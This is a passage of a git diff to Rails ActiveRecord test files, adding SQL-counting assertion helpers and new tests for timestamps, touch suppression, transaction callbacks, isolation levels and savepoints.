open(filename, 'w') { |f| f.puts("select datetime('now', 'localtime');") }
ActiveRecord::Tasks::DatabaseTasks.structure_load @configuration, filename, '/rails/root'
- assert File.exists?(dbfile)
+ assert File.exist?(dbfile)
ensure
FileUtils.rm_f(filename)
FileUtils.rm_f(dbfile)
diff --git a/activerecord/test/cases/test_case.rb b/activerecord/test/cases/test_case.rb
index f3f7054794..803a054d7e 100644
--- a/activerecord/test/cases/test_case.rb
+++ b/activerecord/test/cases/test_case.rb
@@ -1,9 +1,112 @@
-ActiveSupport::Deprecation.silence do
- require 'active_record/test_case'
-end
+require 'active_support/test_case'
+
+module ActiveRecord
+ # = Active Record Test Case
+ #
+ # Defines some test assertions to test against SQL queries.
+ class TestCase < ActiveSupport::TestCase #:nodoc:
+ def teardown
+ SQLCounter.clear_log
+ end
+
+ def assert_date_from_db(expected, actual, message = nil)
+ # SybaseAdapter doesn't have a separate column type just for dates,
+ # so the time is in the string and incorrectly formatted
+ if current_adapter?(:SybaseAdapter)
+ assert_equal expected.to_s, actual.to_date.to_s, message
+ else
+ assert_equal expected.to_s, actual.to_s, message
+ end
+ end
+
+ def capture_sql
+ SQLCounter.clear_log
+ yield
+ SQLCounter.log_all.dup
+ end
+
+ def assert_sql(*patterns_to_match)
+ capture_sql { yield }
+ ensure
+ failed_patterns = []
+ patterns_to_match.each do |pattern|
+ failed_patterns << pattern unless SQLCounter.log_all.any?{ |sql| pattern === sql }
+ end
+ assert failed_patterns.empty?, "Query pattern(s) #{failed_patterns.map{ |p| p.inspect }.join(', ')} not found.#{SQLCounter.log.size == 0 ? '' : "\nQueries:\n#{SQLCounter.log.join("\n")}"}"
+ end
+
+ def assert_queries(num = 1, options = {})
+ ignore_none = options.fetch(:ignore_none) { num == :any }
+ SQLCounter.clear_log
+ x = yield
+ the_log = ignore_none ? SQLCounter.log_all : SQLCounter.log
+ if num == :any
+ assert_operator the_log.size, :>=, 1, "1 or more queries expected, but none were executed."
+ else
+ mesg = "#{the_log.size} instead of #{num} queries were executed.#{the_log.size == 0 ? '' : "\nQueries:\n#{the_log.join("\n")}"}"
+ assert_equal num, the_log.size, mesg
+ end
+ x
+ end
-ActiveRecord::TestCase.class_eval do
- def sqlite3? connection
- connection.class.name.split('::').last == "SQLite3Adapter"
+ def assert_no_queries(options = {}, &block)
+ options.reverse_merge! ignore_none: true
+ assert_queries(0, options, &block)
+ end
+
+ def assert_column(model, column_name, msg=nil)
+ assert has_column?(model, column_name), msg
+ end
+
+ def assert_no_column(model, column_name, msg=nil)
+ assert_not has_column?(model, column_name), msg
+ end
+
+ def has_column?(model, column_name)
+ model.reset_column_information
+ model.column_names.include?(column_name.to_s)
+ end
end
+
+ class SQLCounter
+ class << self
+ attr_accessor :ignored_sql, :log, :log_all
+ def clear_log; self.log = []; self.log_all = []; end
+ end
+
+ self.clear_log
+
+ self.ignored_sql = [/^PRAGMA/, /^SELECT currval/, /^SELECT CAST/, /^SELECT @@IDENTITY/, /^SELECT @@ROWCOUNT/, /^SAVEPOINT/, /^ROLLBACK TO SAVEPOINT/, /^RELEASE SAVEPOINT/, /^SHOW max_identifier_length/, /^BEGIN/, /^COMMIT/]
+
+ # FIXME: this needs to be refactored so specific database can add their own
+ # ignored SQL, or better yet, use a different notification for the queries
+ # instead examining the SQL content.
+ oracle_ignored = [/^select .*nextval/i, /^SAVEPOINT/, /^ROLLBACK TO/, /^\s*select .* from all_triggers/im, /^\s*select .* from all_constraints/im, /^\s*select .* from all_tab_cols/im]
+ mysql_ignored = [/^SHOW TABLES/i, /^SHOW FULL FIELDS/, /^SHOW CREATE TABLE /i]
+ postgresql_ignored = [/^\s*select\b.*\bfrom\b.*pg_namespace\b/im, /^\s*select\b.*\battname\b.*\bfrom\b.*\bpg_attribute\b/im, /^SHOW search_path/i]
+ sqlite3_ignored = [/^\s*SELECT name\b.*\bFROM sqlite_master/im]
+
+ [oracle_ignored, mysql_ignored, postgresql_ignored, sqlite3_ignored].each do |db_ignored_sql|
+ ignored_sql.concat db_ignored_sql
+ end
+
+ attr_reader :ignore
+
+ def initialize(ignore = Regexp.union(self.class.ignored_sql))
+ @ignore = ignore
+ end
+
+ def call(name, start, finish, message_id, values)
+ sql = values[:sql]
+
+ # FIXME: this seems bad. we should probably have a better way to indicate
+ # the query was cached
+ return if 'CACHE' == values[:name]
+
+ self.class.log_all << sql
+ self.class.log << sql unless ignore =~ sql
+ end
+ end
+
+ ActiveSupport::Notifications.subscribe('sql.active_record', SQLCounter.new)
end
diff --git a/activerecord/test/cases/timestamp_test.rb b/activerecord/test/cases/timestamp_test.rb
index ff1b01556d..77ab427be0 100644
--- a/activerecord/test/cases/timestamp_test.rb
+++ b/activerecord/test/cases/timestamp_test.rb
@@ -11,6 +11,7 @@ class TimestampTest < ActiveRecord::TestCase
def setup
@developer = Developer.first
+ @owner = Owner.first
@developer.update_columns(updated_at: Time.now.prev_month)
@previously_updated_at = @developer.updated_at
end
@@ -70,6 +71,24 @@ class TimestampTest < ActiveRecord::TestCase
assert_equal @previously_updated_at, @developer.updated_at
end
+ def test_saving_when_callback_sets_record_timestamps_to_false_doesnt_update_its_timestamp
+ klass = Class.new(Developer) do
+ before_update :cancel_record_timestamps
+ def cancel_record_timestamps
+ self.record_timestamps = false
+ return true
+ end
+ end
+
+ developer = klass.first
+ previously_updated_at = developer.updated_at
+
+ developer.name = "New Name"
+ developer.save!
+
+ assert_equal previously_updated_at, developer.updated_at
+ end
+
def test_touching_an_attribute_updates_timestamp
previously_created_at = @developer.created_at
@developer.touch(:created_at)
@@ -88,10 +107,88 @@ class TimestampTest < ActiveRecord::TestCase
assert_in_delta Time.now, task.ending, 1
end
+ def test_touching_many_attributes_updates_them
+ task = Task.first
+ previous_starting = task.starting
+ previous_ending = task.ending
+ task.touch(:starting, :ending)
+
+ assert_not_equal previous_starting, task.starting
+ assert_not_equal previous_ending, task.ending
+ assert_in_delta Time.now, task.starting, 1
+ assert_in_delta Time.now, task.ending, 1
+ end
+
def test_touching_a_record_without_timestamps_is_unexceptional
assert_nothing_raised { Car.first.touch }
end
+ def test_touching_a_no_touching_object
+ Developer.no_touching do
+ assert @developer.no_touching?
+ assert !@owner.no_touching?
+ @developer.touch
+ end
+
+ assert !@developer.no_touching?
+ assert !@owner.no_touching?
+ assert_equal @previously_updated_at, @developer.updated_at
+ end
+
+ def test_touching_related_objects
+ @owner = Owner.first
+ @previously_updated_at = @owner.updated_at
+
+ Owner.no_touching do
+ @owner.pets.first.touch
+ end
+
+ assert_equal @previously_updated_at, @owner.updated_at
+ end
+
+ def test_global_no_touching
+ ActiveRecord::Base.no_touching do
+ assert @developer.no_touching?
+ assert @owner.no_touching?
+ @developer.touch
+ end
+
+ assert !@developer.no_touching?
+ assert !@owner.no_touching?
+ assert_equal @previously_updated_at, @developer.updated_at
+ end
+
+ def test_no_touching_threadsafe
+ Thread.new do
+ Developer.no_touching do
+ assert @developer.no_touching?
+
+ sleep(1)
+ end
+ end
+
+ assert !@developer.no_touching?
+ end
+
+ def test_no_touching_with_callbacks
+ klass = Class.new(ActiveRecord::Base) do
+ self.table_name = "developers"
+
+ attr_accessor :after_touch_called
+
+ after_touch do |user|
+ user.after_touch_called = true
+ end
+ end
+
+ developer = klass.first
+
+ klass.no_touching do
+ developer.touch
+ assert_not developer.after_touch_called
+ end
+ end
+
def test_saving_a_record_with_a_belongs_to_that_specifies_touching_the_parent_should_update_the_parent_updated_at
pet = Pet.first
owner = pet.owner
@@ -224,36 +321,62 @@ class TimestampTest < ActiveRecord::TestCase
assert_not_equal time, old_pet.updated_at
end
- def test_changing_parent_of_a_record_touches_both_new_and_old_polymorphic_parent_record
- klass = Class.new(ActiveRecord::Base) do
- def self.name; 'Toy'; end
+ def test_changing_parent_of_a_record_touches_both_new_and_old_polymorphic_parent_record_changes_within_same_class
+ car_class = Class.new(ActiveRecord::Base) do
+ def self.name; 'Car'; end
end
- wheel_klass = Class.new(ActiveRecord::Base) do
+ wheel_class = Class.new(ActiveRecord::Base) do
def self.name; 'Wheel'; end
belongs_to :wheelable, :polymorphic => true, :touch => true
end
- toy1 = klass.find(1)
- toy2 = klass.find(2)
+ car1 = car_class.find(1)
+ car2 = car_class.find(2)
- wheel = wheel_klass.new
- wheel.wheelable = toy1
- wheel.save!
+ wheel = wheel_class.create!(wheelable: car1)
time = 3.days.ago.at_beginning_of_hour
- toy1.update_columns(updated_at: time)
- toy2.update_columns(updated_at: time)
+ car1.update_columns(updated_at: time)
+ car2.update_columns(updated_at: time)
- wheel.wheelable = toy2
+ wheel.wheelable = car2
wheel.save!
- toy1.reload
- toy2.reload
+ assert_not_equal time, car1.reload.updated_at
+ assert_not_equal time, car2.reload.updated_at
+ end
+
+ def test_changing_parent_of_a_record_touches_both_new_and_old_polymorphic_parent_record_changes_with_other_class
+ car_class = Class.new(ActiveRecord::Base) do
+ def self.name; 'Car'; end
+ end
+
+ toy_class = Class.new(ActiveRecord::Base) do
+ def self.name; 'Toy'; end
+ end
+
+ wheel_class = Class.new(ActiveRecord::Base) do
+ def self.name; 'Wheel'; end
+ belongs_to :wheelable, :polymorphic => true, :touch => true
+ end
+
+ car = car_class.find(1)
+ toy = toy_class.find(3)
+
+ wheel = wheel_class.create!(wheelable: car)
+
+ time = 3.days.ago.at_beginning_of_hour
+
+ car.update_columns(updated_at: time)
+ toy.update_columns(updated_at: time)
+
+ wheel.wheelable = toy
+ wheel.save!
- assert_not_equal time, toy1.updated_at
- assert_not_equal time, toy2.updated_at
+ assert_not_equal time, car.reload.updated_at
+ assert_not_equal time, toy.reload.updated_at
end
def test_clearing_association_touches_the_old_record
@@ -278,31 +401,31 @@ class TimestampTest < ActiveRecord::TestCase
def test_timestamp_attributes_for_create
toy = Toy.first
- assert_equal toy.send(:timestamp_attributes_for_create), [:created_at, :created_on]
+ assert_equal [:created_at, :created_on], toy.send(:timestamp_attributes_for_create)
end
def test_timestamp_attributes_for_update
toy = Toy.first
- assert_equal toy.send(:timestamp_attributes_for_update), [:updated_at, :updated_on]
+ assert_equal [:updated_at, :updated_on], toy.send(:timestamp_attributes_for_update)
end
def test_all_timestamp_attributes
toy = Toy.first
- assert_equal toy.send(:all_timestamp_attributes), [:created_at, :created_on, :updated_at, :updated_on]
+ assert_equal [:created_at, :created_on, :updated_at, :updated_on], toy.send(:all_timestamp_attributes)
end
def test_timestamp_attributes_for_create_in_model
toy = Toy.first
- assert_equal toy.send(:timestamp_attributes_for_create_in_model), [:created_at]
+ assert_equal [:created_at], toy.send(:timestamp_attributes_for_create_in_model)
end
def test_timestamp_attributes_for_update_in_model
toy = Toy.first
- assert_equal toy.send(:timestamp_attributes_for_update_in_model), [:updated_at]
+ assert_equal [:updated_at], toy.send(:timestamp_attributes_for_update_in_model)
end
def test_all_timestamp_attributes_in_model
toy = Toy.first
- assert_equal toy.send(:all_timestamp_attributes_in_model), [:created_at, :updated_at]
+ assert_equal [:created_at, :updated_at], toy.send(:all_timestamp_attributes_in_model)
end
end
diff --git a/activerecord/test/cases/transaction_callbacks_test.rb b/activerecord/test/cases/transaction_callbacks_test.rb
index 9485de88a6..3d64ecb464 100644
--- a/activerecord/test/cases/transaction_callbacks_test.rb
+++ b/activerecord/test/cases/transaction_callbacks_test.rb
@@ -1,9 +1,11 @@
require "cases/helper"
+require 'models/owner'
+require 'models/pet'
require 'models/topic'
class TransactionCallbacksTest < ActiveRecord::TestCase
self.use_transactional_fixtures = false
- fixtures :topics
+ fixtures :topics, :owners, :pets
class ReplyWithCallbacks < ActiveRecord::Base
self.table_name = :topics
@@ -14,6 +16,11 @@ class TransactionCallbacksTest < ActiveRecord::TestCase
after_commit :do_after_commit, on: :create
+ attr_accessor :save_on_after_create
+ after_create do
+ self.save! if save_on_after_create
+ end
+
def history
@history ||= []
end
@@ -28,14 +35,14 @@ class TransactionCallbacksTest < ActiveRecord::TestCase
has_many :replies, class_name: "ReplyWithCallbacks", foreign_key: "parent_id"
- after_commit{|record| record.send(:do_after_commit, nil)}
- after_commit(:on => :create){|record| record.send(:do_after_commit, :create)}
- after_commit(:on => :update){|record| record.send(:do_after_commit, :update)}
- after_commit(:on => :destroy){|record| record.send(:do_after_commit, :destroy)}
- after_rollback{|record| record.send(:do_after_rollback, nil)}
- after_rollback(:on => :create){|record| record.send(:do_after_rollback, :create)}
- after_rollback(:on => :update){|record| record.send(:do_after_rollback, :update)}
- after_rollback(:on => :destroy){|record| record.send(:do_after_rollback, :destroy)}
+ after_commit { |record| record.do_after_commit(nil) }
+ after_commit(on: :create) { |record| record.do_after_commit(:create) }
+ after_commit(on: :update) { |record| record.do_after_commit(:update) }
+ after_commit(on: :destroy) { |record| record.do_after_commit(:destroy) }
+ after_rollback { |record| record.do_after_rollback(nil) }
+ after_rollback(on: :create) { |record| record.do_after_rollback(:create) }
+ after_rollback(on: :update) { |record| record.do_after_rollback(:update) }
+ after_rollback(on: :destroy) { |record| record.do_after_rollback(:destroy) }
def history
@history ||= []
@@ -65,7 +72,7 @@ class TransactionCallbacksTest < ActiveRecord::TestCase
end
def setup
- @first, @second = TopicWithCallbacks.find(1, 3).sort_by { |t| t.id }
+ @first = TopicWithCallbacks.find(1)
end
def test_call_after_commit_after_transaction_commits
@@ -77,40 +84,25 @@ class TransactionCallbacksTest < ActiveRecord::TestCase
end
def test_only_call_after_commit_on_update_after_transaction_commits_for_existing_record
- @first.after_commit_block(:create){|r| r.history << :commit_on_create}
- @first.after_commit_block(:update){|r| r.history << :commit_on_update}
- @first.after_commit_block(:destroy){|r| r.history << :commit_on_destroy}
- @first.after_rollback_block(:create){|r| r.history << :rollback_on_create}
- @first.after_rollback_block(:update){|r| r.history << :rollback_on_update}
- @first.after_rollback_block(:destroy){|r| r.history << :rollback_on_destroy}
+ add_transaction_execution_blocks @first
@first.save!
assert_equal [:commit_on_update], @first.history
end
def test_only_call_after_commit_on_destroy_after_transaction_commits_for_destroyed_record
- @first.after_commit_block(:create){|r| r.history << :commit_on_create}
- @first.after_commit_block(:update){|r| r.history << :commit_on_update}
- @first.after_commit_block(:destroy){|r| r.history << :commit_on_destroy}
- @first.after_rollback_block(:create){|r| r.history << :rollback_on_create}
- @first.after_rollback_block(:update){|r| r.history << :rollback_on_update}
- @first.after_rollback_block(:destroy){|r| r.history << :rollback_on_destroy}
+ add_transaction_execution_blocks @first
@first.destroy
assert_equal [:commit_on_destroy], @first.history
end
def test_only_call_after_commit_on_create_after_transaction_commits_for_new_record
- @new_record = TopicWithCallbacks.new(:title => "New topic", :written_on => Date.today)
- @new_record.after_commit_block(:create){|r| r.history << :commit_on_create}
- @new_record.after_commit_block(:update){|r| r.history << :commit_on_update}
- @new_record.after_commit_block(:destroy){|r| r.history << :commit_on_destroy}
- @new_record.after_rollback_block(:create){|r| r.history << :rollback_on_create}
- @new_record.after_rollback_block(:update){|r| r.history << :rollback_on_update}
- @new_record.after_rollback_block(:destroy){|r| r.history << :rollback_on_destroy}
-
- @new_record.save!
- assert_equal [:commit_on_create], @new_record.history
+ new_record = TopicWithCallbacks.new(:title => "New topic", :written_on => Date.today)
+ add_transaction_execution_blocks new_record
+
+ new_record.save!
+ assert_equal [:commit_on_create], new_record.history
end
def test_only_call_after_commit_on_create_after_transaction_commits_for_new_record_if_create_succeeds_creating_through_association
@@ -120,6 +112,23 @@ class TransactionCallbacksTest < ActiveRecord::TestCase
assert_equal [], reply.history
end
+ def test_only_call_after_commit_on_create_and_doesnt_leaky
+ r = ReplyWithCallbacks.new(content: 'foo')
+ r.save_on_after_create = true
+ r.save!
+ r.content = 'bar'
+ r.save!
+ r.save!
+ assert_equal [:commit_on_create], r.history
+ end
+
+ def test_only_call_after_commit_on_update_after_transaction_commits_for_existing_record_on_touch
+ add_transaction_execution_blocks @first
+
+ @first.touch
+ assert_equal [:commit_on_update], @first.history
+ end
+
def test_call_after_rollback_after_transaction_rollsback
@first.after_commit_block{|r| r.history << :after_commit}
@first.after_rollback_block{|r| r.history << :after_rollback}
@@ -133,12 +142,7 @@ class TransactionCallbacksTest < ActiveRecord::TestCase
end
def test_only_call_after_rollback_on_update_after_transaction_rollsback_for_existing_record
- @first.after_commit_block(:create){|r| r.history << :commit_on_create}
- @first.after_commit_block(:update){|r| r.history << :commit_on_update}
- @first.after_commit_block(:destroy){|r| r.history << :commit_on_destroy}
- @first.after_rollback_block(:create){|r| r.history << :rollback_on_create}
- @first.after_rollback_block(:update){|r| r.history << :rollback_on_update}
- @first.after_rollback_block(:destroy){|r| r.history << :rollback_on_destroy}
+ add_transaction_execution_blocks @first
Topic.transaction do
@first.save!
@@ -148,13 +152,19 @@ class TransactionCallbacksTest < ActiveRecord::TestCase
assert_equal [:rollback_on_update], @first.history
end
+ def test_only_call_after_rollback_on_update_after_transaction_rollsback_for_existing_record_on_touch
+ add_transaction_execution_blocks @first
+
+ Topic.transaction do
+ @first.touch
+ raise ActiveRecord::Rollback
+ end
+
+ assert_equal [:rollback_on_update], @first.history
+ end
+
def test_only_call_after_rollback_on_destroy_after_transaction_rollsback_for_destroyed_record
- @first.after_commit_block(:create){|r| r.history << :commit_on_create}
- @first.after_commit_block(:update){|r| r.history << :commit_on_update}
- @first.after_commit_block(:destroy){|r| r.history << :commit_on_update}
- @first.after_rollback_block(:create){|r| r.history << :rollback_on_create}
- @first.after_rollback_block(:update){|r| r.history << :rollback_on_update}
- @first.after_rollback_block(:destroy){|r| r.history << :rollback_on_destroy}
+ add_transaction_execution_blocks @first
Topic.transaction do
@first.destroy
@@ -165,26 +175,21 @@ class TransactionCallbacksTest < ActiveRecord::TestCase
end
def test_only_call_after_rollback_on_create_after_transaction_rollsback_for_new_record
- @new_record = TopicWithCallbacks.new(:title => "New topic", :written_on => Date.today)
- @new_record.after_commit_block(:create){|r| r.history << :commit_on_create}
- @new_record.after_commit_block(:update){|r| r.history << :commit_on_update}
- @new_record.after_commit_block(:destroy){|r| r.history << :commit_on_destroy}
- @new_record.after_rollback_block(:create){|r| r.history << :rollback_on_create}
- @new_record.after_rollback_block(:update){|r| r.history << :rollback_on_update}
- @new_record.after_rollback_block(:destroy){|r| r.history << :rollback_on_destroy}
+ new_record = TopicWithCallbacks.new(:title => "New topic", :written_on => Date.today)
+ add_transaction_execution_blocks new_record
Topic.transaction do
- @new_record.save!
+ new_record.save!
raise ActiveRecord::Rollback
end
- assert_equal [:rollback_on_create], @new_record.history
+ assert_equal [:rollback_on_create], new_record.history
end
def test_call_after_rollback_when_commit_fails
- @first.class.connection.class.send(:alias_method, :real_method_commit_db_transaction, :commit_db_transaction)
+ @first.class.connection.singleton_class.send(:alias_method, :real_method_commit_db_transaction, :commit_db_transaction)
begin
- @first.class.connection.class.class_eval do
+ @first.class.connection.singleton_class.class_eval do
def commit_db_transaction; raise "boom!"; end
end
@@ -194,8 +199,8 @@ class TransactionCallbacksTest < ActiveRecord::TestCase
assert !@first.save rescue nil
assert_equal [:after_rollback], @first.history
ensure
- @first.class.connection.class.send(:remove_method, :commit_db_transaction)
- @first.class.connection.class.send(:alias_method, :commit_db_transaction, :real_method_commit_db_transaction)
+ @first.class.connection.singleton_class.send(:remove_method, :commit_db_transaction)
+ @first.class.connection.singleton_class.send(:alias_method, :commit_db_transaction, :real_method_commit_db_transaction)
end
end
@@ -205,23 +210,24 @@ class TransactionCallbacksTest < ActiveRecord::TestCase
@first.after_rollback_block{|r| r.rollbacks(1)}
@first.after_commit_block{|r| r.commits(1)}
- def @second.rollbacks(i=0); @rollbacks ||= 0; @rollbacks += i if i; end
- def @second.commits(i=0); @commits ||= 0; @commits += i if i; end
- @second.after_rollback_block{|r| r.rollbacks(1)}
- @second.after_commit_block{|r| r.commits(1)}
+ second = TopicWithCallbacks.find(3)
+ def second.rollbacks(i=0); @rollbacks ||= 0; @rollbacks += i if i; end
+ def second.commits(i=0); @commits ||= 0; @commits += i if i; end
+ second.after_rollback_block{|r| r.rollbacks(1)}
+ second.after_commit_block{|r| r.commits(1)}
Topic.transaction do
@first.save!
Topic.transaction(:requires_new => true) do
- @second.save!
+ second.save!
raise ActiveRecord::Rollback
end
end
assert_equal 1, @first.commits
assert_equal 0, @first.rollbacks
- assert_equal 0, @second.commits
- assert_equal 1, @second.rollbacks
+ assert_equal 0, second.commits
+ assert_equal 1, second.rollbacks
end
def test_only_call_after_rollback_on_records_rolled_back_to_a_savepoint_when_release_savepoint_fails
@@ -252,33 +258,61 @@ class TransactionCallbacksTest < ActiveRecord::TestCase
def @first.last_after_transaction_error; @last_transaction_error; end
@first.after_commit_block{|r| r.last_after_transaction_error = :commit; raise "fail!";}
@first.after_rollback_block{|r| r.last_after_transaction_error = :rollback; raise "fail!";}
- @second.after_commit_block{|r| r.history << :after_commit}
- @second.after_rollback_block{|r| r.history << :after_rollback}
+
+ second = TopicWithCallbacks.find(3)
+ second.after_commit_block{|r| r.history << :after_commit}
+ second.after_rollback_block{|r| r.history << :after_rollback}
Topic.transaction do
@first.save!
- @second.save!
+ second.save!
end
assert_equal :commit, @first.last_after_transaction_error
- assert_equal [:after_commit], @second.history
+ assert_equal [:after_commit], second.history
- @second.history.clear
+ second.history.clear
Topic.transaction do
@first.save!
- @second.save!
+ second.save!
raise ActiveRecord::Rollback
end
assert_equal :rollback, @first.last_after_transaction_error
- assert_equal [:after_rollback], @second.history
+ assert_equal [:after_rollback], second.history
end
def test_after_rollback_callbacks_should_validate_on_condition
- assert_raise(ArgumentError) { Topic.send(:after_rollback, :on => :save) }
+ assert_raise(ArgumentError) { Topic.after_rollback(on: :save) }
end
def test_after_commit_callbacks_should_validate_on_condition
- assert_raise(ArgumentError) { Topic.send(:after_commit, :on => :save) }
+ assert_raise(ArgumentError) { Topic.after_commit(on: :save) }
end
+
+ def test_saving_a_record_with_a_belongs_to_that_specifies_touching_the_parent_should_call_callbacks_on_the_parent_object
+ pet = Pet.first
+ owner = pet.owner
+ flag = false
+
+ owner.on_after_commit do
+ flag = true
+ end
+
+ pet.name = "Fluffy the Third"
+ pet.save
+
+ assert flag
+ end
+
+ private
+
+ def add_transaction_execution_blocks(record)
+ record.after_commit_block(:create) { |r| r.history << :commit_on_create }
+ record.after_commit_block(:update) { |r| r.history << :commit_on_update }
+ record.after_commit_block(:destroy) { |r| r.history << :commit_on_destroy }
+ record.after_rollback_block(:create) { |r| r.history << :rollback_on_create }
+ record.after_rollback_block(:update) { |r| r.history << :rollback_on_update }
+ record.after_rollback_block(:destroy) { |r| r.history << :rollback_on_destroy }
+ end
end
class CallbacksOnMultipleActionsTest < ActiveRecord::TestCase
diff --git a/activerecord/test/cases/transaction_isolation_test.rb b/activerecord/test/cases/transaction_isolation_test.rb
index 4f1cb99b68..f89c26532d 100644
--- a/activerecord/test/cases/transaction_isolation_test.rb
+++ b/activerecord/test/cases/transaction_isolation_test.rb
@@ -1,113 +1,105 @@
require 'cases/helper'
-class TransactionIsolationUnsupportedTest < ActiveRecord::TestCase
- self.use_transactional_fixtures = false
+unless ActiveRecord::Base.connection.supports_transaction_isolation?
+ class TransactionIsolationUnsupportedTest < ActiveRecord::TestCase
+ self.use_transactional_fixtures = false
- class Tag < ActiveRecord::Base
- end
-
- setup do
- if ActiveRecord::Base.connection.supports_transaction_isolation?
- skip "database supports transaction isolation; test is irrelevant"
+ class Tag < ActiveRecord::Base
end
- end
- test "setting the isolation level raises an error" do
- assert_raises(ActiveRecord::TransactionIsolationError) do
- Tag.transaction(isolation: :serializable) { }
+ test "setting the isolation level raises an error" do
+ assert_raises(ActiveRecord::TransactionIsolationError) do
+ Tag.transaction(isolation: :serializable) { }
+ end
end
end
end
-class TransactionIsolationTest < ActiveRecord::TestCase
- self.use_transactional_fixtures = false
-
- class Tag < ActiveRecord::Base
- self.table_name = 'tags'
- end
-
- class Tag2 < ActiveRecord::Base
- self.table_name = 'tags'
- end
+if ActiveRecord::Base.connection.supports_transaction_isolation?
+ class TransactionIsolationTest < ActiveRecord::TestCase
+ self.use_transactional_fixtures = false
- setup do
- unless ActiveRecord::Base.connection.supports_transaction_isolation?
- skip "database does not support setting transaction isolation"
+ class Tag < ActiveRecord::Base
+ self.table_name = 'tags'
end
- Tag.establish_connection 'arunit'
- Tag2.establish_connection 'arunit'
- Tag.destroy_all
- end
-
- # It is impossible to properly test read uncommitted. The SQL standard only
- # specifies what must not happen at a certain level, not what must happen. At
- # the read uncommitted level, there is nothing that must not happen.
- test "read uncommitted" do
- unless ActiveRecord::Base.connection.transaction_isolation_levels.include?(:read_uncommitted)
- skip "database does not support read uncommitted isolation level"
+ class Tag2 < ActiveRecord::Base
+ self.table_name = 'tags'
end
- Tag.transaction(isolation: :read_uncommitted) do
- assert_equal 0, Tag.count
- Tag2.create
- assert_equal 1, Tag.count
+
+ setup do
+ Tag.establish_connection :arunit
+ Tag2.establish_connection :arunit
+ Tag.destroy_all
end
- end
- # We are testing that a dirty read does not happen
- test "read committed" do
- Tag.transaction(isolation: :read_committed) do
- assert_equal 0, Tag.count
+ # It is impossible to properly test read uncommitted. The SQL standard only
+ # specifies what must not happen at a certain level, not what must happen. At
+ # the read uncommitted level, there is nothing that must not happen.
+ if ActiveRecord::Base.connection.transaction_isolation_levels.include?(:read_uncommitted)
+ test "read uncommitted" do
+ Tag.transaction(isolation: :read_uncommitted) do
+ assert_equal 0, Tag.count
+ Tag2.create
+ assert_equal 1, Tag.count
+ end
+ end
+ end
- Tag2.transaction do
- Tag2.create
+ # We are testing that a dirty read does not happen
+ test "read committed" do
+ Tag.transaction(isolation: :read_committed) do
assert_equal 0, Tag.count
+
+ Tag2.transaction do
+ Tag2.create
+ assert_equal 0, Tag.count
+ end
end
+
+ assert_equal 1, Tag.count
end
- assert_equal 1, Tag.count
- end
+ # We are testing that a nonrepeatable read does not happen
+ if ActiveRecord::Base.connection.transaction_isolation_levels.include?(:repeatable_read)
+ test "repeatable read" do
+ tag = Tag.create(name: 'jon')
- # We are testing that a nonrepeatable read does not happen
- test "repeatable read" do
- unless ActiveRecord::Base.connection.transaction_isolation_levels.include?(:repeatable_read)
- skip "database does not support repeatable read isolation level"
- end
- tag = Tag.create(name: 'jon')
+ Tag.transaction(isolation: :repeatable_read) do
+ tag.reload
+ Tag2.find(tag.id).update(name: 'emily')
- Tag.transaction(isolation: :repeatable_read) do
- tag.reload
- Tag2.find(tag.id).update(name: 'emily')
+ tag.reload
+ assert_equal 'jon', tag.name
+ end
- tag.reload
- assert_equal 'jon', tag.name
+ tag.reload
+ assert_equal 'emily', tag.name
+ end
end
- tag.reload
- assert_equal 'emily', tag.name
- end
-
- # We are only testing that there are no errors because it's too hard to
- # test serializable. Databases behave differently to enforce the serializability
- # constraint.
- test "serializable" do
- Tag.transaction(isolation: :serializable) do
- Tag.create
+ # We are only testing that there are no errors because it's too hard to
+ # test serializable. Databases behave differently to enforce the serializability
+ # constraint.
+ test "serializable" do
+ Tag.transaction(isolation: :serializable) do
+ Tag.create
+ end
end
- end
- test "setting isolation when joining a transaction raises an error" do
- Tag.transaction do
- assert_raises(ActiveRecord::TransactionIsolationError) do
- Tag.transaction(isolation: :serializable) { }
+ test "setting isolation when joining a transaction raises an error" do
+ Tag.transaction do
+ assert_raises(ActiveRecord::TransactionIsolationError) do
+ Tag.transaction(isolation: :serializable) { }
+ end
end
end
- end
- test "setting isolation when starting a nested transaction raises error" do
- Tag.transaction do
- assert_raises(ActiveRecord::TransactionIsolationError) do
- Tag.transaction(requires_new: true, isolation: :serializable) { }
+ test "setting isolation when starting a nested transaction raises error" do
+ Tag.transaction do
+ assert_raises(ActiveRecord::TransactionIsolationError) do
+ Tag.transaction(requires_new: true, isolation: :serializable) { }
+ end
end
end
end
diff --git a/activerecord/test/cases/transactions_test.rb b/activerecord/test/cases/transactions_test.rb
index 6d66342fa5..e6ed85394b 100644
--- a/activerecord/test/cases/transactions_test.rb
+++ b/activerecord/test/cases/transactions_test.rb
@@ -5,6 +5,7 @@ require 'models/developer'
require 'models/book'
require 'models/author'
require 'models/post'
+require 'models/movie'
class TransactionTest < ActiveRecord::TestCase
self.use_transactional_fixtures = false
@@ -14,6 +15,11 @@ class TransactionTest < ActiveRecord::TestCase
@first, @second = Topic.find(1, 2).sort_by { |t| t.id }
end
+ def test_persisted_in_a_model_with_custom_primary_key_after_failed_save
+ movie = Movie.create
+ assert !movie.persisted?
+ end
+
def test_raise_after_destroy
assert_not @first.frozen?
@@ -117,6 +123,20 @@ class TransactionTest < ActiveRecord::TestCase
assert !Topic.find(1).approved?
end
+ def test_raising_exception_in_nested_transaction_restore_state_in_save
+ topic = Topic.new
+
+ def topic.after_save_for_transaction
+ raise 'Make the transaction rollback'
+ end
+
+ assert_raises(RuntimeError) do
+ Topic.transaction { topic.save }
+ end
+
+ assert topic.new_record?, "#{topic.inspect} should be new record"
+ end
+
def test_update_should_rollback_on_failure
author = Author.find(1)
posts_count = author.posts.size
@@ -361,6 +381,36 @@ class TransactionTest < ActiveRecord::TestCase
assert_equal "Three", @three
end if Topic.connection.supports_savepoints?
+ def test_using_named_savepoints
+ Topic.transaction do
+ @first.approved = true
+ @first.save!
+ Topic.connection.create_savepoint("first")
+
+ @first.approved = false
+ @first.save!
+ Topic.connection.rollback_to_savepoint("first")
+ assert @first.reload.approved?
+
+ @first.approved = false
+ @first.save!
+ Topic.connection.release_savepoint("first")
+ assert_not @first.reload.approved?
+ end
+ end if Topic.connection.supports_savepoints?
+
+ def test_releasing_named_savepoints
+ Topic.transaction do
+ Topic.connection.create_savepoint("another")
+ Topic.connection.release_savepoint("another")
+
+ # The savepoint is now gone and we can't remove it again.
+ assert_raises(ActiveRecord::StatementInvalid) do
+ Topic.connection.release_savepoint("another")
+ end
+ end
+ end
+
def test_rollback_when_commit_raises
Topic.connection.expects(:begin_db_transaction)
